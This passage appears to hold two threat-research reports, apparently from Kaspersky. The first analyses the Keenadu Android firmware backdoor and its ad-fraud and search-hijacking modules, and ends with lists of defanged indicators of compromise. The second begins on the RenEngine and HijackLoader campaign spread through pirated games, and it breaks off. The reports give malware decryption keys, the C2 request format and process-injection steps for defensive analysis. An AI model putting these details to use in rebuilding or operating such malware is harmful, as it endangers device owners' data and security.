At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:

• Grant any permission to an arbitrary app on the device.
• Revoke any permission from an arbitrary app on the device.
• Retrieve the device’s geolocation.
• Exfiltrate device information.

Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:

1. The encrypted address string is decoded using Base64.
2. The resulting data, a gzip-compressed buffer, is then decompressed.
3. The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".

After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:

• m: the MD5 hash of the device IMEI
• n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)

The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.

How Keenadu compromised libandroid_runtime.so

After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.

The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:

• 67.198.232[.]4
• 67.198.232[.]187

The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.

To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparse code); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.

We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.

Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.

During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.

Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:

• D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
• D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.

The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.

According to our data, the malicious dependency was located within the firmware source code repository at the following paths:

• vendor/mediatek/proprietary/external/libutils/arm/libVndxUtils.a
• vendor/mediatek/proprietary/external/libutils/arm64/libVndxUtils.a

Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.

Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.

Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.

Keenadu backdoor modules

As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.

The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.

Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):

struct KeenaduChunk {
    uint32_t size;
    uint8_t data[size];
} __packed;

struct KeenaduPayload {
    int32_t version;
    uint8_t padding[0x100];
    uint8_t salt[0x20];
    KeenaduChunk config;
    KeenaduChunk payload;
    KeenaduChunk signature;
} __packed;

After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".

The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.

{
    "stopMethod": "stop",
    "startMethod": "start",
    "pluginId": "com.ak.p.wp",
    "service": "1",
    "cn": "com.ak.p.d.MainApi",
    "m_uninit": "stop",
    "version": "3117",
    "clazzName": "com.ak.p.d.MainApi",
    "m_init": "start"
}

Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.

Keenadu loader

This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:

• com.amazon.mShop.android.shopping (Amazon)
• com.zzkko (SHEIN)
• com.einnovation.temu (Temu)

The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServer requests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.

In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.

Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.

Clicker loader

These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:

• Wallpaper (com.android.wallpaper)
• YouTube (com.google.android.youtube)
• Facebook (com.facebook.katana)
• Digital Wellbeing (com.google.android.apps.wellbeing)
• System launcher (com.android.launcher3)

Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:

struct Payload {
    uint8_t magic[10]; // == "encrypttag"
    uint8_t keyLen;
    uint8_t xorKey[keyLen];
    uint8_t payload[];
} __packed;

The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.

In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.

Google Chrome module

This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.

If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.

It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.

The Nova (Phantom) clicker

The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.

It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.

Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:

• The Nova clicker.
• A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
• The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.

Install monetization

A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.

Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.

When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.

For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.

Google Play module

Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.

Other Keenadu distribution vectors

During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.

System apps

According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.

Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.

The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.

This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.

In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.

We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.

Loading via other backdoors

While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:

• com.androidextlib.sloth.api.IPServiceM
• com.androidextlib.sloth.api.IPermissionsM

These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.

The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.

Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.

Modifications of popular apps

Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.

Google Play

Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.

Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.

The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected

After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.

In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.

The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".

After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.

These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.

Victims

According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.

Recommendations

Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.

If the libandroid_runtime.so library is infected

Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.

If you encounter the Keenadu backdoor, we recommend the following:

• Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
• If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
• Until the firmware is replaced or updated, we recommend that you stop using the infected device.

If one of the system apps is infected

Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:

1. Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
2. Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.

If an infected app has been installed on the device

This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.

Conclusion

Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.

Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.

Indicators of compromise

Additional IoCs, technical details and a YARA rule for detecting Keenadu activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Malicious libandroid_runtime.so libraries
bccd56a6b6c9496ff1acd40628edd25e
c4c0e65a5c56038034555ec4a09d3a37
cb9f86c02f756fb9afdb2fe1ad0184ee
f59ad0c8e47228b603efc0ff790d4a0c
f9b740dd08df6c66009b27c618f1e086
02c4c7209b82bbed19b962fb61ad2de3
185220652fbbc266d4fdf3e668c26e59
36db58957342024f9bc1cdecf2f163d6
4964743c742bb899527017b8d06d4eaa
58f282540ab1bd5ccfb632ef0d273654
59aee75ece46962c4eb09de78edaa3fa
8d493346cb84fbbfdb5187ae046ab8d3
9d16a10031cddd222d26fcb5aa88a009
a191b683a9307276f0fc68a2a9253da1
65f290dd99f9113592fba90ea10cb9b3
68990fbc668b3d2cfbefed874bb24711
6d93fb8897bf94b62a56aca31961756a

Keenadu payloads
2922df6713f865c9cba3de1fe56849d7
3dae1f297098fa9d9d4ee0335f0aeed3
462a23bc22d06e5662d379b9011d89ff
4c4ca7a2a25dbe15a4a39c11cfef2fb2
5048406d8d0affa80c18f8b1d6d76e21
529632abf8246dfe555153de6ae2a9df
7ceccea499cfd3f9f9981104fc05bcbd
912bc4f756f18049b241934f62bfb06c
98ff5a3b5f2cdf2e8f58f96d70db2875
aa5bf06f0cc5a8a3400e90570fb081b0
ad60f46e724d88af6bcacb8c269ac3c1
dc3d454a7edb683bec75a6a1e28a4877
f0184f6955479d631ea4b1ea0f38a35d

System applications infected with Keenadu loader
07546413bdcb0e28eadead4e2b0db59d
0c1f61eeebc4176d533b4fc0a36b9d61
10d8e8765adb1cbe485cb7d7f4df21e4
11eaf02f41b9c93e9b3189aa39059419
19df24591b3d76ad3d0a6f548e608a43
1bfb3edb394d7c018e06ed31c7eea937
1c52e14095f23132719145cf24a2f9dc
21846f602bcabccb00de35d994f153c9
2419583128d7c75e9f0627614c2aa73f
28e6936302f2d290c2fec63ca647f8a6
382764921919868d810a5cf0391ea193
45bf58973111e00e378ee9b7b43b7d2d
56036c2490e63a3e55df4558f7ecf893
64947d3a929e1bb860bf748a15dba57c
69225f41dcae6ddb78a6aa6a3caa82e1
6df8284a4acee337078a6a62a8b65210
6f6e14b4449c0518258beb5a40ad7203
7882796fdae0043153aa75576e5d0b35
7c3e70937da7721dd1243638b467cff1
9ddd621daab4c4bc811b7c1990d7e9ea
a0f775dd99108cb3b76953e25f5cdae4
b841debc5307afc8a4592ea60d64de14
c57de69b401eb58c0aad786531c02c28
ca59e49878bcf2c72b99d15c98323bcd
d07eb2db2621c425bda0f046b736e372
d4be9b2b73e565b1181118cb7f44a102
d9aecc9d4bf1d4b39aa551f3a1bcc6b7
e9bed47953986f90e814ed5ed25b010c

Applications infected with Nova clicker
0bc94bc4bc4d69705e4f08aaf0e976b3
1276480838340dcbc699d1f32f30a5e9
15fb99660dbd52d66f074eaa4cf1366d
2dca15e9e83bca37817f46b24b00d197
350313656502388947c7cbcd08dc5a95
3e36ffda0a946009cb9059b69c6a6f0d
5b0726d66422f76d8ba4fbb9765c68f6
68b64bf1dea3eb314ce273923b8df510
9195454da9e2cb22a3d58dbbf7982be8
a4a6ff86413b3b2a893627c4cff34399
b163fa76bde53cd80d727d88b7b1d94f
ba0a349f177ffb3e398f8c780d911580
bba23f4b66a0e07f837f2832a8cd3bd4
d6ebc5526e957866c02c938fc01349ee
ec7ab99beb846eec4ecee232ac0b3246
ef119626a3b07f46386e65de312cf151
fcaeadbee39fddc907a3ae0315d86178

Payload CDN
ubkt1x.oss-us-west-1.aliyuncs[.]com
m-file-us.oss-us-west-1.aliyuncs[.]com
pkg-czu.istaticfiles[.]com
pkgu.istaticfiles[.]com
app-download.cn-wlcb.ufileos[.]com

C2 servers
110.34.191[.]81
110.34.191[.]82
67.198.232[.]4
67.198.232[.]187
fbsimg[.]com
tmgstatic[.]com
gbugreport[.]com
aifacecloud[.]com
goaimb[.]com
proczone[.]com
gvvt1[.]com
dllpgd[.]click
fbgraph[.]com
newsroomlabss[.]com
sliidee[.]com
keepgo123[.]com
gsonx[.]com
gmsstatic[.]com
ytimg2[.]com
glogstatic[.]com
gstatic2[.]com
uscelluliar[.]com
playstations[.]click

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”

When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.

“Game” source files analysis

After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.

There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:

1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
   
   

   Writing the payload to a temporary file

2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
   
   

   Payload injection into the child process

   
   Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
   
   

   The rshell module injection

4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

   The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

